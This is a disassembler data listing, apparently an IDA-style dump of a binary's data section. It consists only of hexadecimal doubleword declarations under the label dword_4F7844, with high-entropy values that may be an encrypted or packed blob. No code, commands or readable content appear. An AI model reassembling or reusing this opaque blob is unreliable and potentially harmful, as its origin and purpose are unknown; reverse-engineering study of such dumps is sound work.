		dd 5700C6FDh, 4F8CF9A3h, 0CF0AC93h, 513EB422h, 6903EEA0h
		dd 0F8335804h, 499000CFh, 0A4E1C285h, 4C92D74Fh, 6713550Dh
		dd 0DC0120BEh, 44209204h, 0DA583485h, 23E03AB9h, 0AF3103A2h
		dd 52CA12C8h, 5242D047h, 2D2C18ADh, 0E3304F01h,	0A566BBACh
		dd 52064E2h, 86EBB98Eh,	98CC1EC3h, 18E0197Ch, 0CC0CCE00h
		dd 7BE27D22h, 278F05C7h, 74ED2B4h, 0E1D4038Ch, 869FD97Ch
		dd 0A2318810h, 8E241499h, 1000A8F1h, 0A32A326Dh, 684851D5h
		dd 0F8E02479h, 1771EFC0h, 51FE2159h, 71C6F060h,	3CF506FAh
		dd 19810216h, 0D9041401h, 17B88775h, 37F22E0h, 7C2955BEh
		dd 0C9B0A981h, 0BF4871E0h, 5367C070h, 1E9D1BB1h, 87EC28h
		dd 0A4FF9AC8h, 8488BD1h, 62788074h, 63D69E7Eh, 0D1A5C87Fh
		dd 67180860h, 0A15A16ECh, 0F880418Ch, 5589E63Ch, 6148C01Bh
		dd 8B04848h, 0BE4F0C6Eh, 72929C90h, 0DB80089Ch,	0A8618ABDh
		dd 8CD200F9h, 0F2ECBCB6h, 0B06559Dh, 0D5FE8625h, 8A1A1C80h
		dd 270685D7h, 31B040B8h, 0FD221CD1h, 9C01B500h,	397B1525h
		dd 8FCF00C1h, 48ECB491h, 1D13B190h, 8040C87Ah, 1F1C6ABFh
		dd 0AC970003h, 6886E89Ah, 0B415D6ECh, 69809517h, 747410B0h
		dd 1F3FF0BFh, 0B8046612h, 6A023048h, 0A6A179B9h, 0A5C98081h
		dd 0D900C7D5h, 1C8FF48Eh, 7D903C0Bh, 7CB54827h,	1202C023h
		dd 42483A63h, 0CC7C9BA4h, 8F7FF040h, 0AF004EBEh, 0E71F6DCCh
		dd 85DF09h, 68D6481Ch, 4322FD21h, 0A34D9000h, 19E02D86h
		dd 0ACDA59CBh, 3EAF2105h, 233C2BA9h, 9BD0339h, 6BA21F7h
		dd 274D60DDh, 8088A8BCh, 82F80156h, 0B1ABBB55h,	2A043088h
		dd 0B00AF1E0h, 847F0297h, 6463780h, 6F4C76h, 382E422Ah
		dd 0AA02F598h, 0AE87E604h, 0E48CFEBEh, 77570468h, 33B5BD27h
		dd 81213EACh, 7C7E5400h, 0B776B0ABh, 3062FFh, 0FEE5ED4Ah
		dd 0C0312498h, 59217F66h, 2B05871Eh, 0F71B16A9h, 6AA55090h
		dd 0E4484C7Bh, 0E20AD080h, 2203B22Dh, 30AB3A54h, 0F9591CBFh
		dd 0D724092Bh, 1CEEF023h, 0C7B823h, 27785767h, 4486B065h
		dd 0C0008AA3h, 0EF123354h, 0C0802765h, 21CFE819h, 0E101300Fh
		dd 81DB3A10h, 0D8302F05h, 8981C0B4h, 923433A5h,	973810C9h
		dd 8028911Ch, 4AFB9A9Bh, 4FBB29CBh, 834787E4h, 0EE43D0BAh
		dd 1498D5E8h, 78A61892h, 80937B74h, 18F3A09h, 0A9497CA8h
		dd 1F3049B9h, 0A708CA71h, 640148F8h, 3F295B9Ch,	0E7E46FCFh
		dd 733C00C1h, 66173304h, 849AB219h, 0F102D646h,	0CE586971h
		dd 0EE133331h, 0BDDC71D0h, 0BC180A26h, 88378908h, 0F4ACB32Fh
		dd 4C24AA2Ch, 0F575F280h, 4C9A33A1h, 7409F04Dh,	6CB1C7BDh
		dd 848E3BEh, 8A7C4804h,	0A9002827h, 0C2DD0E70h,	0A180A273h
		dd 7D4FA5E8h, 119C99A4h, 44317C9Ch, 230919B1h, 7C4CD022h
		dd 5C8C63E8h, 2D07B04Dh, 0ACBF55h, 7421D261h, 3103192Ch
		dd 9116D030h, 0A256068Bh, 0F8454251h, 0BE701364h, 0ECF8C164h
		dd 3868A247h, 0E63744h,	0D6536271h, 2320A881h, 940AB412h
		dd 3164441h, 70868C12h,	19A3B924h, 0CAC69A24h, 0DECA3E01h
		dd 0F860B1DFh, 8297008Dh, 39EC16Eh, 38C12B92h, 0C7157C2Dh
		dd 131F3470h, 21B571A7h, 0D877B9B8h, 8A0A1967h,	0DC0EA174h
		dd 21AC303Ah, 8DECEh, 0E8CFB55Fh, 0D9B2F524h, 0BFB722h
		dd 0FD7050D0h, 96D2A9B0h, 0D4D43624h, 8E80F011h, 2D279557h
		dd 89C50CFBh, 0FD57C473h, 0E630BB16h, 2041D416h, 0E0408BB4h
		dd 0C4C1835h, 5A0502C1h, 0C5536566h, 168B2840h,	11320491h
		dd 0ACA4CC9Eh, 8B08C534h, 30B89917h, 552847ACh,	744690C2h
		dd 68048E3Bh, 3275F219h, 0D5D92085h, 1A0A1F08h,	0B87D4EEBh
		dd 0AF56AB06h, 0A8765C21h, 2760F780h, 0D5001972h, 1F17DF30h
		dd 7400806h, 652F1249h,	795E27AFh, 0A7E11002h, 9D712C51h
		dd 464C4C18h, 33190B4Fh
dword_4F7844	dd 24ACA382h, 7027B1B1h, 0B9D11071h, 3911A450h,	3DF00083h
		dd 2A2BD66Dh, 335288FEh, 8B4972CCh, 810703A8h, 9809C89Eh
		dd 0C4D1Dh, 6CB56B6h, 8D71E26Ch, 0CE5A1E00h, 0E7CA1F57h
		dd 8404488Fh, 1606429h,	47F66316h, 8F806325h, 1D62E0ECh
		dd 0F301AB75h, 98CB71FDh, 16FAB61Bh, 2F82ACB1h,	0AD5D1000h
		dd 0D996A1C0h, 602FAC9h, 0DE95A2F0h, 5FD0C9ADh,	8175048h
		dd 1D47EF63h, 8FC1C072h, 5FFD0023h, 0A806FC29h,	69986A31h
		dd 0C09C2B24h, 348FCF12h, 0CFC02688h, 440D15Eh,	9715F57Ch
		dd 0B0E8A4CBh, 12B7A740h, 6763A6EBh, 8DC25E50h,	0AC311A19h
		dd 8DD0017h, 5E1384CCh,	54008847h, 33BF9180h, 101F48AAh
		dd 8EBB4109h, 0C001AC0Bh, 39D60330h, 13FA23C8h,	2722058Ch
		dd 0D7B8655Dh, 5772700Ch, 241322F8h, 8805B377h,	0A043A076h
		dd 0F0735D84h, 0E24D0B6Ch, 2E110E14h, 3B21C175h, 0F4FDACE5h
		dd 0A061D01Bh, 0A8BC26F9h, 8502A902h, 0D8A319B6h, 0AA21199Bh
		dd 0B1916Eh, 29078ACAh,	1E6CEA12h, 9A32DEFEh, 4441F11Ch
		dd 96998152h, 0AFA323ABh, 749010A4h, 0C301BA46h, 21A299DBh
		dd 4C52FAE7h, 28D94421h, 43301D90h, 592F8FC2h, 8EA8CE32h
		dd 8BC0F0A3h, 98355D10h, 3E128894h, 0F9008C6Fh,	8DFC9EEh
		dd 0F807762Ah, 33558F5Bh, 3F3C20E9h, 829A5445h,	2306850h
		dd 0A9B7D1D8h, 61700AAh, 134E435h, 0DAFC3F89h, 0DBB521C0h
		dd 95E7C6Eh, 8C9A4FC8h,	2C88B090h, 24A9A760h, 61DF2359h
		dd 11487054h, 88F82290h, 579AC0C4h, 8D462779h, 5F8F887Ah
		dd 50055ECh, 0BDAA0E78h, 0E7A4DD26h, 23829438h,	84605DBFh
		dd 64B1F135h, 0C0A1578Fh, 4CE36F64h, 0B2470472h, 0A2B5C288h
		dd 379A021Ch, 40A506EDh, 0AC8CC2Ah, 217031Dh, 0FD0E4EF4h
		dd 25F3809Ch, 0F9BF14A5h, 389BC902h, 63DCAB4Fh,	7D48E18Ch
		dd 591D0C23h, 2C110006h, 0B1C8AFB2h, 78AB2124h,	798E7F11h
		dd 7A1999C2h, 0D4100631h, 460208E0h, 0EAD22D92h, 26404110h
		dd 8084B511h, 0F28E0529h, 22B487h, 0DA7D668Ch, 511A2523h
		dd 38ACA600h, 8D7C2BAAh, 18565D63h, 1D447A29h, 199A8278h
		dd 931975E2h, 2940D712h, 0A40622F1h, 9C2F0C27h,	26882C48h
		dd 21D141E0h, 3C086CA7h, 64204F32h, 513312D5h, 0C870D05Fh
		dd 10A543E0h, 911A8EA4h, 4E410BEh, 0E2000B5Ch, 0C5B44A58h
		dd 60BEE448h, 6406315Ah, 0DB29E03Dh, 6BC0C00Ch,	91B8312Bh
		dd 65A00034h, 6884198h,	1782CE00h, 797321D6h, 0BDC1C09Bh
		dd 9CC10CDh, 0EF0574FCh, 946B2A8Fh, 0BCA054B6h,	8504D53Ch
		dd 0B0197C27h, 90CA9CF0h, 73AC9BB4h, 0A19260D4h, 0F1423E22h
		dd 85DD13F5h, 59102007h, 0CE009E9Ah, 7D1D154Eh,	96487B66h
		dd 0CE904D14h, 0C480EE04h, 26EBA190h, 5D028E6h,	4088B871h
		dd 2AD0F098h, 0E50EA111h, 436375A5h, 0D0B47D2Dh, 96979124h
		dd 2F1E1234h, 62354h, 2B77EF71h, 0EA263686h, 0DCC887h
		dd 56236B10h, 0BAF1B9Ah, 4D895813h, 107AC4C2h, 6DFAC91Ah
		dd 65EB1501h, 0BBACB755h, 48D3BF70h, 3E2C444Ah,	7C644F48h
		dd 0DD04A0C9h, 2426D500h, 0A36AD95Bh, 0C8560098h, 233EB7E2h
		dd 480C790Ah, 680D474Eh, 0E8779022h, 0ABC01CC8h, 0C0B25C66h
		dd 945B144Bh, 0C40187CDh, 0D998589Ah, 0A07BFA48h, 9E01978Bh
		dd 4C276FB3h, 0E7D0280Bh, 0FC2EF462h, 0FF8C1EA0h, 2FC640E8h
		dd 13D5CEC5h, 7653103h,	9048AC85h, 781D20Dh, 1ABDFF41h
		dd 0A3F3110Ch, 5163C05Fh, 34B16600h, 0FB176F3Dh, 76837848h
		dd 555C028Ch, 0BA7B23BBh, 160294F0h, 1B3599AFh,	71507138h
		dd 1D87185Ah, 0D6808BCBh, 4E0009EBh, 520054E4h,	2EFE1B18h
		dd 1EB32284h, 2F5FB93h,	43DEBCE8h, 244ACE7h, 0E5D9E360h
		dd 6E450501h, 53A93D9Ch, 8A81542Ch, 20A53F8Eh, 0C74A9FF7h
		dd 0BF7CAC00h, 0EF0CCBCh, 0C87082E6h, 0A7032402h, 5F8D8840h
		dd 945CA10Ah, 4AC080DFh, 46591272h, 3122D6h, 0C071C1EDh
		dd 0BACB96BDh, 9BFAF507h, 8088FCABh, 0A3D5B19Ah, 0CE046402h
		dd 6A731355h, 0FAF4B4C2h, 2032E500h, 0BE3A1400h, 91E901B3h
		dd 1B12DF00h, 853BD02Ch, 7EAA0041h, 54221D21h, 0C8B6B2E6h
		dd 882C97A7h, 1460AD5Dh, 56D038h, 24B028E4h, 747121A0h
		dd 3E2B0CC1h, 7C78AD13h, 798FFA0Ah, 4F7240A4h, 5A0024BDh
		dd 8D9305DCh, 9C0B2155h, 0B0467C74h, 0A582C33Eh, 0AF198BC8h
		dd 210058FAh, 237F6B46h, 88A49F37h, 8838B338h, 285C39h
		dd 5E763020h, 256B6F52h, 30972E90h, 0CE0046BDh,	0CB5ADE9Bh
		dd 0B7E60513h, 51D1AD0Bh, 32F86016h, 586A3F87h,	0F5D4F90h
		dd 0A9242D78h, 86A8A153h, 0E4518007h, 8D828BEh,	0D99C008Fh
		dd 0C027EA7Eh, 7102D491h, 7C4CE6D3h, 2700442Dh,	0C0143121h
		dd 97213660h, 135AC321h, 8C4CC2B7h, 0F21C3C24h,	7304FAD7h
		dd 0F100B538h, 0C80E2D8Ch, 7802865Ch, 4FB4D617h, 96761421h
		dd 0E1F993h, 0F2D39D92h, 8F03A194h, 0AB6B7DACh,	1672E0DBh
		dd 792E0021h, 0B89341D9h, 7C942D8Fh, 6560C944h,	27698E57h
		dd 75EC9620h, 0E3540184h, 278D2809h, 9F1980BAh,	39A38842h
		dd 0F89200C4h, 0C068A9B2h, 0D004E42Fh, 9EFE77E6h, 6AE064B5h
		dd 0DF0C002Bh, 67701D7Bh, 0BA007D5Fh, 0D419EC88h, 29E2A117h
		dd 6902C7Ah, 0F9980AABh, 0F8E8F958h, 0E82E8C33h, 712B512h
		dd 78BA3890h, 58573B6h,	0FCB21155h, 107CA322h, 1DC09C71h
		dd 8D484563h, 3822C243h, 8F7EDB00h, 0D632DCA4h,	0A9CE0204h
		dd 0A2FB12ADh, 27A5F882h, 0B07A451h, 8BC8545Fh,	906D946Ah
		dd 0A0C78D43h, 4ADF7955h, 86B84026h, 412A3702h,	308D873Fh
		dd 0DD12A1A5h, 82923852h, 0A42A00F4h, 0B9D60193h, 1A482497h
		dd 0BA5902E8h, 0E11D0AE3h, 0D7F10E24h, 9900CC68h, 0F504E6Dh
		dd 0B83CE4Fh, 40D6388h,	0ACEBD809h, 0DCF3A8E2h,	914A58h
		dd 1F438D64h, 0B379773Ch, 0FE1621CAh, 0C6707F00h, 17651CC9h
		dd 1EAA851Dh, 1E00E298h, 0F9038F44h, 0FECE0EEAh, 0E5CB0FECh
		dd 0B68F6294h, 8EA6BCC4h, 0AD909E78h, 0E553FAC0h, 43B83755h
		dd 0C0500858h, 138DD94Bh, 143DF62Ah, 9CD8261Bh,	0F46F5Fh
		dd 0D16645C5h, 5F9E41B1h, 2346E08h, 0C31FC8BEh,	9230C31Bh
		dd 611C0056h, 950B8655h, 6409B470h, 0CECB1090h,	0AC3E248Bh
		dd 9398213Bh, 59210246h, 444652F6h, 0FCE110F1h,	84D70E70h
		dd 0E520E8BCh, 4B6D658Eh, 22A59E12h, 84047825h,	0B8C06427h
		dd 26584697h, 0AF84E37Bh, 8B201C16h, 62B4988Eh,	216394Bh
		dd 44C82880h, 73269AACh, 58088CF7h, 31888A96h, 2EAB41D0h
		dd 5E19AD92h, 0A31930D2h, 0A077401h, 0B1C51AAh,	690CFFE0h
		dd 7F322D33h, 0A42620A5h, 0FE03BAE4h, 54308F4Ah, 6080A87Fh
		dd 293D000Ah, 7D219FFBh, 247547D2h, 67A15807h, 70D937E5h
		dd 94C44CFCh, 0B3D72EC0h, 9FEA9378h, 0A0045F0h,	0AF25B4B8h
		dd 25C5C6BAh, 14CD8E55h, 0BC44E8E0h, 0D117096Fh, 506C12D3h
		dd 0C5472885h, 0F27F6078h, 0BD3F7B90h, 4C1AE0Ch, 23617640h
		dd 0A9D31ED5h, 0B6CB048Dh, 0BB20817Ch, 0BCBC383Dh, 85008C02h
		dd 0DDA8DBC7h, 2F829C89h, 0F8908BCBh, 680735DCh, 3FDB1A80h
		dd 9EDF3CC7h, 0DE90A4h,	230817E3h, 8C24260Dh, 0E86A3325h
		dd 7034DE20h, 0BE4FB0D7h, 71D6829Ch, 8C71F9BFh,	8889BD97h
		dd 7A082C7Ch, 3600C4ACh, 30D20ECBh, 0C88CBC60h,	0AC465C8Ch
		dd 0B1D7F500h, 49BE5A96h
		dd 407E4817h, 402BAC22h, 804CD2F0h, 5E2735F5h, 3F8CA1ADh
		dd 0A8782A1Bh, 626F2E07h, 0C47F85E2h, 86F440F0h, 0A41BE94Fh
		dd 9AC46C17h, 0B5D50C03h, 74979A3Fh, 2355015Ch,	2A5B577Fh
		dd 4E23043Ah, 0A1671900h, 7D924ABAh, 0A0A1D327h, 2488805Ch
		dd 0F658027Fh, 0A4A3545Ah, 6000BCAAh, 0DE3A3498h, 2E2DF01Dh
		dd 3CEC4E85h, 74A24484h, 633031F2h, 1B970A81h, 9907E6Eh
		dd 175C9139h, 28A2610Dh, 27882C0Bh, 0C0FF06C5h,	7554091Eh
		dd 0A121D74h, 1097FE6Dh, 0C6B3191h, 0A350C0h, 0E064895Ah
		dd 417C4F9Fh, 0A8403AE7h, 530E17A2h, 609098A6h,	1B3C406Ch
		dd 0CCB2324Eh, 80B148h,	5485143Eh, 18B8ECEh, 0B7050FEBh
		dd 0EC242DACh, 0A30E6F82h, 0AA4E33C9h, 0BE01980Eh, 29F2CB98h
		dd 95BC48BCh, 542C6048h, 821B6108h, 9820A6B0h, 3704674h
		dd 6F8FAFDEh, 34D9B011h, 85B70377h, 6FBEB0Bh, 0DC82A024h
		dd 0C5465Eh, 1B0991D6h,	0B95B68BCh, 18A2D9D0h, 68DB8FBh
		dd 48A598EFh, 0F882F99Ch, 26591859h, 7C02F718h,	7E0BBB39h
		dd 1D785908h, 0B73A8BF5h, 3EC7C4C0h, 188AF820h,	283558B5h
		dd 44BEA71Ch, 56A00FD4h, 0ECE13774h, 0ED88235Dh, 0BCBC3C65h
		dd 0EAD4370h, 8333E914h, 0BA205A38h, 0A2286087h, 4788809Dh
		dd 5351AB6Eh, 70B10A4h,	5C3EF8A7h, 6C8419A9h, 880CCE5Fh
		dd 9A59C037h, 5C04899Dh, 4179C13Dh, 6751E0E0h, 58629ADh
		dd 0B04080F2h, 1B04538Dh, 9BFAF80Eh, 4C68A889h,	0CADE9BDh
		dd 0B6D000BAh, 0FF57B42h, 261333B7h, 7812D949h,	25F254E2h
		dd 1233730h, 455C5568h,	78870F8Ch, 43BEB8BCh, 7C9101AEh
		dd 5E339A4Eh, 3184183Ah, 0B65D854Ah, 42AE0188h,	0BD90630h
		dd 2A17E820h, 7886E18h,	20634E47h, 2309C150h, 0F0343515h
		dd 34924948h, 66A7990Bh, 11F49D08h, 6C448026h, 127EE391h
		dd 0C0A01B55h, 0B83E476Ch, 1544B74Dh, 0E09F79h,	0C558D809h
		dd 0FE61BC0h, 0D453213Dh, 0D5DBA9E0h, 0C0B0C9D0h, 4F161022h
		dd 90409727h, 9D41E568h, 54048F75h, 5C3D0367h, 2D25B0ACh
		dd 0FB0BE0E5h, 267E10h,	6AB7D8E4h, 0F4002F15h, 0FE1AC16Bh
		dd 59315898h, 0D51ADC71h, 6C5639D6h, 989C80E9h,	0F9E6FBh
		dd 3A9066A0h, 0B582A8Fh, 0F0CE2331h, 6463C192h,	23F02F5Bh
		dd 0DE2D03AFh, 788831Fh, 59313515h, 0A59921C3h,	185072FEh
		dd 19B03D8Bh, 0B1132F86h, 5CC44B12h, 229EC81h, 60238461h
		dd 33C088A7h, 2BA7A38h,	3EBC4523h, 0E8E077FCh, 8CB14CC2h
		dd 0C05CEDA7h, 619B09F2h, 1EACF45Ch, 2789474Ah,	21690B7Ch
		dd 23F3AEACh, 0C80F3039h, 0A1D839A5h, 0B2617686h, 96186851h
		dd 4F44A5C4h, 1A548CD7h, 0D6F19100h, 824D0421h,	6A7B0770h
		dd 0C6175185h, 0DCB299C9h, 24D53C4Fh, 2462C8Ch,	0E096E4A8h
		dd 0A87481D8h, 0A080C5A5h, 0CBE8B008h, 67860A08h, 0BA1C49ADh
		dd 9300C796h, 697AC45Fh, 0CBA9126Eh, 88F45622h,	9725030Ch
		dd 1B7C5Dh, 0C52C9019h,	6EFFA03Eh, 0BCC8C4B1h, 0AD60258Eh
		dd 486F1CC5h, 176267ADh, 212550D7h, 6600D51Ch, 640617FDh
		dd 4A33BBCEh, 0C40C8420h, 0C97CFC7Ch, 4F6C781Fh, 98FC8086h
		dd 2227FD2Ah, 97EC025Fh, 46EC50C4h, 9943B7Eh, 4582198Eh
		dd 8BE38160h, 609DFB07h, 1002305Ah, 85F802B8h, 0AC4D4F3h
		dd 82F8D327h, 34330B24h, 8F26F458h, 55D07C2Dh, 0FF0E8802h
		dd 7C1C49D2h, 1CE7A816h, 0E0041861h, 5BE31163h,	941C23C6h
		dd 0D273073h, 0A6FCE1EFh, 546A4821h, 1280F08Ch,	0B6FDA91Bh
		dd 2239AC06h, 0E291A72Ah, 0EA622504h, 7B6028EDh, 38644D0Dh
		dd 3E1E334Eh, 0A6324991h, 10DA6C91h, 1C670EFh, 5A81C3D9h
		dd 223D7DE7h, 428C008Ch, 5F90498Ah, 0DC665944h,	632E4D01h
		dd 6CA887D1h, 8C38B8A0h, 2D44AB00h, 0F826D757h,	0C0E39034h
		dd 220CA621h, 3909B24Eh, 48466AB4h, 81B148D4h, 0DCB0307Fh
		dd 800A6C3Fh, 17037053h, 196766D9h, 49191B7Bh, 0F0D8F9ABh
		dd 0F200E6C8h, 0CABE902Fh, 0BA65D5A4h, 0F01700C8h, 0B09AC82Eh
		dd 1201273Ah, 0C218B1AEh, 0D1C3DCADh, 5AE049B2h, 4DB4A198h
		dd 0A04443D2h, 1BE2318Dh, 0E848D7ADh, 0CFAC49A8h, 6452C503h
		dd 98B28122h, 3E6615A3h, 0B0BAD625h, 0EFD5B601h, 0ACCC92E0h
		dd 5F00B010h, 0B2508BAAh, 8D1712ABh, 3A1CA02Ch,	809C1B39h
		dd 0BC701D78h, 2A6D5FA6h, 1394FF79h, 0D0B8E749h, 7FBA153Ch
		dd 0FB460300h, 0BE8BFE86h, 4A520F28h, 4C806CE1h, 3A6AAAD8h
		dd 740A3016h, 78C4280Ch, 0DA100F61h, 0B60BA5FBh, 1300F872h
		dd 3C856912h, 67CE9Bh, 0FC92CAC3h, 87A86DB5h, 26E40249h
		dd 0E06E5090h, 92C0FEF6h, 296C0083h, 0BD732D98h, 3F00662Ah
		dd 910B13D7h, 0F6F942Fh, 4255DD9h, 306057C3h, 0D1D595E0h
		dd 0EB2ECD00h, 1EBB857Dh, 37690031h, 25E05D0Bh,	48C501AFh
		dd 0D4B409B4h, 485C0B3Ch, 0CC7095B8h, 0A86E6A26h, 4923F17h
		dd 3784427h, 405AC4Dh, 0BC9854DAh, 0A1026B29h, 9D3039C5h
		dd 0DC8429AFh, 0D3C04050h, 1C874F7Bh, 8C169CE2h, 0F1294279h
		dd 0DE140400h, 5B48910Ah, 59930362h, 51F4CD18h,	7A84DAA9h
		dd 0B2297020h, 0F8EF0197h, 7A105690h, 2EA87481h, 0CB571E0Eh
		dd 0F63B00F2h, 3D1B4B5h, 0D4ED9C2Ch, 0F4885529h, 0DE29ACE5h
		dd 0D0D504F5h, 29005879h, 73DA96ECh, 0FBAED30h,	167DAF78h
		dd 45F991C0h, 0B61F2FD0h, 0A2007523h, 155B06Eh,	0B540C0F6h
		dd 8A37B8A0h, 0E4AB5900h, 0C9404C9h, 0C6D71D8Fh, 3AC306B1h
		dd 611D716Ch, 4C38C1E1h, 7FB50035h, 0B6515A62h,	0EA1A008Dh
		dd 0E12E8B55h, 7701B703h, 75BE0CE9h, 71FC9D8Ch,	0FD5D00EAh
		dd 8F05B696h, 0DF1BE5EDh, 10981166h, 261CC8h, 0E74CB591h
		dd 607AC082h, 5915202Dh, 1380C19Dh, 2091C041h, 9A42E39h
		dd 4B01A00h, 0C90AE99Ch, 49500064h, 0C7AE5DDh, 0B60F63D0h
		dd 0A0ACE2C3h, 0B1C40E1Bh, 6ACB00B2h, 40D5462h,	5A377501h
		dd 0ACF0116Bh, 58064Ah,	3BDBF21Ah, 0FF761D04h, 14F66802h
		dd 8088435Fh, 4132B448h, 87991E8Bh, 0FBFE00DEh,	64F81237h
		dd 0D2FFC03h, 3CD57CEEh, 0FF87DE80h, 0C031061Bh, 0FA4B8A58h
		dd 8C044C3Dh, 1805608Fh, 0D0E45464h, 0CFC768Eh,	0F319188Dh
		dd 0C007C8Eh, 7205ECB3h, 1D976Ah, 2DAFA942h, 383FF932h
		dd 297E53E2h, 47928203h, 0E7506022h, 0E9C74287h, 0FFAA08D0h
		dd 20C656C7h, 0D9B280DDh, 3E4D6021h, 7B573Ah, 8D8616FEh
		dd 7BD72ECh, 896BD712h,	3BE6C34Ch, 55ED9B88h, 77E37C00h
		dd 58AFBF33h, 8130877Bh, 53713308h, 150014A8h, 9E475DE3h
		dd 0F2F8092Dh, 6B0F991Ch, 0DA16D380h, 2ED751h, 11D204B9h
		dd 0C6A94530h, 8CA34A4h, 418880BBh, 0A087DCB0h,	11280FC0h
		dd 0DDDE00AFh, 481B0ECBh, 0B2004B23h, 0BFA8A004h, 4D8E11Ch
		dd 49BDF643h, 6434806Bh, 17011D30h, 1F41759Eh, 0EECD044Dh
		dd 0CF649F8h, 21786492h, 1C447C28h, 28189237h, 42146A1Fh
		dd 2B581166h, 21F75611h, 69373F96h, 10141A79h, 42B2889Ah
		dd 80256355h, 0D93F3C0Fh, 76085EA1h, 0C296C62h,	46C0002Ch
		dd 1100FD9Bh, 0A934080Eh, 3CF71F9h, 7D4CBF88h, 0A5B0141Fh
		dd 0D3009586h, 7BC16E5Fh, 216B5Bh, 0C03DC5E6h, 53E16F48h
		dd 89808707h, 381C435h,	4E49714h, 0D53F00C6h, 0BAE336C1h
		dd 4C0A9CBDh, 0F3E5E25Eh, 96855B00h, 0A039E09Dh, 0E88BEA9h
		dd 0DA948130h, 5B3142DDh
		dd 416026B2h, 0C600D5D9h, 432057B6h, 0B824E798h, 64BB018Bh
		dd 21D35E9Eh, 0F63370AAh, 12B0D702h, 0E09D955Dh, 1DFD09D8h
		dd 40075E51h, 0EB318EBh, 6701925Ch, 0F397A27h, 60FC2847h
		dd 989F0FAEh, 84C1C76Fh, 0ECD404FAh, 3C00A6CDh,	0E76E3116h
		dd 389D8AC5h, 0EA837D55h, 6DBF70F9h, 47AB8788h,	45296800h
		dd 0BE7C412Fh, 160700A2h, 5F82ECBFh, 0BA013969h, 0D6284B24h
		dd 97D84FA6h, 712F618h,	36094091h, 5B8150E5h, 9C98B077h
		dd 89014B1Ch, 318500FBh, 0BF130F42h, 567300FBh,	88E1226Ch
		dd 38001797h, 834A53CAh, 79580Ah, 0F8A20F49h, 0E034B6E6h
		dd 0E718C300h, 0B58B1B1Ah, 64BA048Ch, 80CC2099h, 0B78F8396h
		dd 189AD133h, 9DB8003Eh, 5E547368h, 8C908A99h, 0EC84B300h
		dd 0B43BC74Eh, 96B7006Dh, 259E77C2h, 704C487Ah,	556100EAh
		dd 52C0AD7Fh, 0E3F700BDh, 20D40504h, 11048C4Ah,	0A4FDD774h
		dd 2E3BC0EEh, 92094671h, 0A0B90117h, 901A6CFCh,	1C4E0038h
		dd 36D0C7A2h, 0EE72E6A7h, 24F47D07h, 83004DF6h,	0AED321h
		dd 47C2D507h, 0FA729ADEh, 6870C70Ah, 5E03E086h,	0A1298803h
		dd 7EF0BC10h, 538403F8h, 1EAE6274h, 50DDB2A0h, 13D1E0FFh
		dd 0ABA22400h, 1BD33B33h, 299D09F8h, 0F08FF72Dh, 0C712DBC4h
		dd 0BA3A70E9h, 8F90C515h, 4FA7348h, 7E6B2694h, 294DC4C0h
		dd 0FC63FC52h, 0E567ECFh, 0A90B4531h, 0DCC89020h, 5800C2F2h
		dd 0A5516048h, 12B0C173h, 75666DBh, 0C0E9110Fh,	6D2EF6C2h
		dd 0AF0E7E00h, 0AC746981h, 3F70027h, 8B72DB4Eh,	6406DA47h
		dd 16336BCBh, 636C24C0h, 0D45103CFh, 4AF8C862h,	0AB03C3FEh
		dd 2B353191h, 756DD8C7h, 560E003Ch, 0C93D7C1Ch,	0F900634Dh
		dd 0C42143AFh, 1DF454h,	0B770015Fh, 4C747C82h, 0E33CF607h
		dd 0C4B09A1Ch, 5AAA2Bh,	87FEF2D1h, 0EA86A417h, 0EDA73F00h
		dd 566C7AF7h, 4E8F39E1h, 4775A200h, 0E20F46CCh,	2B32B300h
		dd 0AF0B6BFh, 58180E6Fh, 8200646Ah, 450EAE4Bh, 610043F0h
		dd 1B4AB95Bh, 0F74970Ah, 1E64703Bh, 5876BAA0h, 900204B1h
		dd 3F1F8231h, 8E1C47CFh, 4092B3AAh, 0CB07BA08h,	0AD24117Ch
		dd 600044D2h, 9865D419h, 5F253E6Ch, 1D75BC48h, 8013D323h
		dd 119343B5h, 1B007238h, 3C68E373h, 0ED1078B9h,	0BA8D8CBh
		dd 9BCA0035h, 0CB6CF2A4h, 11035438h, 0BE4A573Dh, 74B8C842h
		dd 6FD73F9Ch, 732F140Eh, 0DBEE46A0h, 8E2487A3h,	23000417h
		dd 0AE93FA61h, 3720011h, 0B0DBC459h, 0A0B05B01h, 99528B00h
		dd 0D70B9407h, 303EB8A2h, 461CFB9Ch, 74008CB4h,	7E5E638Fh
		dd 76D5AF3h, 0C947E457h, 1A443022h, 0C801810Ah,	92A7E9E0h
		dd 0A9ECF819h, 0CAF709BEh, 0D40012E1h, 0BA7CB2A2h, 0C67EA460h
		dd 1D6554h, 824DDEAEh, 0F5310377h, 0BD567607h, 3F5049EFh
		dd 7B135233h, 45970088h, 5EAEDAFh, 27002B6Eh, 370FB298h
		dd 714BB855h, 0B4FB3E40h, 63935005h, 751080B9h,	0DA0066D4h
		dd 0D7180E08h, 49B62777h, 280FA4CFh, 326314h, 0E7A4B9B0h
		dd 51E0A687h, 0B89D9A00h, 6FF964EEh, 0B4ECCAh, 12443A1h
		dd 22803DAFh, 926A0D00h, 4CB6D2F2h, 7B047431h, 28D7907h
		dd 280A235Ah, 1841D342h, 3D84F0F0h, 0C700CB7Bh,	2B5ADE57h
		dd 1413AE6h, 6B467392h,	0D8B854B4h, 0CA00C7F8h,	0D1128C4Ch
		dd 99EBB7h, 0D3CEBB69h,	61B31066h, 26C9500h, 8857222Bh
		dd 3BBC00E2h, 5FD8F1F2h, 0E300FC6Ah, 60AEFF52h,	0EB55511h
		dd 51F487E2h, 0E6254620h, 4002647h, 3572E5F6h, 298E20h
		dd 313B083Ah, 8C2834F0h, 0BAC0701h, 9DB3BF93h, 0EFE4D0h
		dd 0D7E3C0C2h, 13C8ED97h, 0CB39E500h, 12452D62h, 4BF300B8h
		dd 5E505347h, 2A488552h, 0B29E8078h, 0FAB3755Dh, 5873F9h
		dd 0B95A81FDh, 4E8CEB22h, 11713A7Eh, 0A4C30200h, 0A7DD050Eh
		dd 8BA55015h, 0FF80979Ch, 74083331h, 701A3Ch, 0AEC15B46h
		dd 5140F5C6h, 95D88F99h, 0CE2D0348h, 86644124h,	9BB946F0h
		dd 96C0D902h, 0E05ADFABh, 38796Fh, 4ECCAFD8h, 2F1B8C4Fh
		dd 7A66FA00h, 56809149h, 60C4000Ch, 0A88FE304h,	5C047B35h
		dd 99084FE7h, 61AA9080h, 0B87118AFh, 65A8F8A1h,	0A9722A00h
		dd 0FF79284Fh, 1649005Ah, 0CFCC05D0h, 0C53EAA2Eh, 0C1A10085h
